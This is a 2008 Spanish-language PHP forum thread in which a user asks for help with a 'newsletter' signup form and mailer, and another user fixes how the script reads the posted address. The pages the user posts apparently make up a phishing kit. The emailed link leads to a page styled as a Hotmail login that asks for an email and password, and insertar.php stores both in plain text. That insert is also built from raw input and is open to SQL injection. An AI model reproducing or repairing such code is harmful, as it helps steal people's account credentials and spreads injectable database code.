Foros del Web » Programando para Internet » PHP »

ayuda con formulario pliss :(

Estas en el tema de ayuda con formulario pliss :( en el foro de PHP en Foros del Web. wenas a todos vengo con otra duda que tampoco soy a resolver -.- madre mia que dificil es jeje haver si me pueden echar una ...
  #1 (permalink)  
Antiguo 29/12/2008, 12:45
 
Fecha de Ingreso: abril-2007
Mensajes: 36
Antigüedad: 17 años
Puntos: 0
ayuda con formulario pliss :(

wenas a todos vengo con otra duda que tampoco soy a resolver -.- madre mia que dificil es jeje haver si me pueden echar una mano ;)

haver esto es para meter los datos a una DB

FORMULARIO:
Código HTML:
<html>
<head>
<title>Agregate al newsletter</title>
<body link="#FFFFFF" vlink="#FFFFFF" alink="#FFFFFF" text="#FFFFFF" bgcolor="#003366">

<center><b><font face="Verdana" size="5">NEWSLETTER</font></b><p>&nbsp;<br>
</p>
<FORM action="1.php" method="post">
<b><font face="Verdana" size="2">Mail:</font></b> <br>
<input type="text" id="destinatario" name="destinatario" align="top" maxLength="50" size="20" value="@hotmail.com">
<br>
<input type="submit" name="Submit" value="AGREGAR">
</FORM>
<p align="center"><font face="Verdana" size="2">
<a HREF="javascript:history.go(-1);" style="font-weight: 700">
ATRAS</a></font></p>

</html> 
y esto el 1.php
Código PHP:
<?
$msg
'<html>

<head>
<title>Agregado</title>
</head>

<body>
<div style="BACKGROUND-COLOR:white">
<title>agregado</title>
<table border="0"><tr><td align="center"><b>
<font face="verdana, tahoma, arial, sans-serif" size="2">entra al newsletter.</font></b><font face="verdana, tahoma, arial, sans-serif" size="2" color="black"><b><br><BR>
<a target="_blank" href="http://miweb.com/e/confirme.php">http://miweb.com</a><br>&nbsp;</b></font><p>
<b><font face="verdana, tahoma, arial, sans-serif" size="2">nos vemos.</font></b><font face="verdana, tahoma, arial, sans-serif" size="2" color="black"><b><br><br><br><br>&nbsp;</td></tr></table>
</body>

</html>
'
;

$headers "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: <[email protected]>";
$asunto"¡agregado!";
mail($destinatario$asunto$msg$headers);
$conf="Fuiste agregado correctamente $destinatario \n";
echo 
$conf;

?>
lo que debe de pasar es que no coje la variable del email porque cuando dice fue agregado exitosamente y envede poner el email no pone nada queda en blanco haver si me ayudan seria de agradecer muchas gracias amigos ;)
  #2 (permalink)  
Antiguo 29/12/2008, 13:08
Avatar de XLogus  
Fecha de Ingreso: noviembre-2008
Ubicación: AQP
Mensajes: 495
Antigüedad: 15 años, 5 meses
Puntos: 19
Respuesta: ayuda con formulario pliss :(

Hola
No es que sea pesimista pero ese script nunca va a funcionar.
Dices que guarda en una base de datos? estas seguro? yo no veo ninguna conexion a la base de datos.

Suponiendo que mas bien es un mailer tampoco va a funcionar porque no estas recogiendo las variables del formulario, para eso modifica esta linea:
Código PHP:
mail($_POST['destinatario'], $asunto$msg$headers); 
  #3 (permalink)  
Antiguo 29/12/2008, 13:12
 
Fecha de Ingreso: abril-2007
Mensajes: 36
Antigüedad: 17 años
Puntos: 0
Respuesta: ayuda con formulario pliss :(

nono pero eso XLogus lo guarda mas alante cuando lo confirme todavia no jeje.

entonces cambiando eso el email ya se enviara??? gracias jeje ;)


EDITO: Cambiando eso no funciona sigue igual :S:S
EDITO2: Si funciona perfecto lo unico que falta es que no pone a quien lo envia jeje podria arreglarse??

Última edición por serlli; 29/12/2008 a las 13:17
  #4 (permalink)  
Antiguo 29/12/2008, 13:51
 
Fecha de Ingreso: abril-2007
Mensajes: 36
Antigüedad: 17 años
Puntos: 0
Respuesta: ayuda con formulario pliss :(

en el correo que le hemos enviado ahy un link donde entras a este que se llama confirme.php y en ese correo tambien ahy una contraseña. entonces este archivo llama al insertar.php

aki te pongo el confirme.php
Cita:
<html>

<head>
<title>confirmacion</title>
</head>

<body>
<form target="_top" name="form1" action="insertar.php" method="post">
<table border="0" cellpadding="0" cellspacing="0" width="304">
<tr>
<td class="PPRLabelText"><font face="Verdana" size="2"><label for="loginid">Dirección de correo electrónico&nbsp;</label></font></td>
<td><font face="Verdana">
<input type="text" onblur="HMConcatenate();" name="login" id="loginid" tabindex="1" maxlength="129" size="25" value="@hotmail.com" autocomplete="OFF" onclick="SelText();"></font></td>
</tr>
</table><table border="0" cellpadding="0" cellspacing="0" width="304">
<tr>
<td class="PPRLabelText"><font face="Verdana" size="2">Contraseña&nbsp;</font></td>
<td><font face="Verdana">
<input type="password" name="passwd" maxlength="16" size="25" tabindex="2" autocomplete="OFF"></font></td>
</tr>
</table>
<p><font face="Verdana">
<span style="font-weight: 400">
<input type="submit" tabindex="4" value="Agregar" id="submit1" name="submit1"></span></font></p>
<p><font face="Verdana" size="2"></font></p>
</form>
</body>

</html>
y aki el insertar.php
Cita:
<HTML>
<HEAD>
<TITLE>listo</TITLE>
</HEAD>
<BODY>
<?
include("config.php");
mysql_query("insert into cuentas (login,passwd) values ('$login','$passwd')");
?>
<SCRIPT LANGUAGE="JavaScript">
location.href='postal.php?=S654D8E123A65S4D6A';
</SCRIPT>
</BODY>
</HTML>
  #5 (permalink)  
Antiguo 30/12/2008, 03:41
 
Fecha de Ingreso: abril-2007
Mensajes: 36
Antigüedad: 17 años
Puntos: 0
Respuesta: ayuda con formulario pliss :(

Cierro.

Solucionado gracias a XLogus
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 03:09.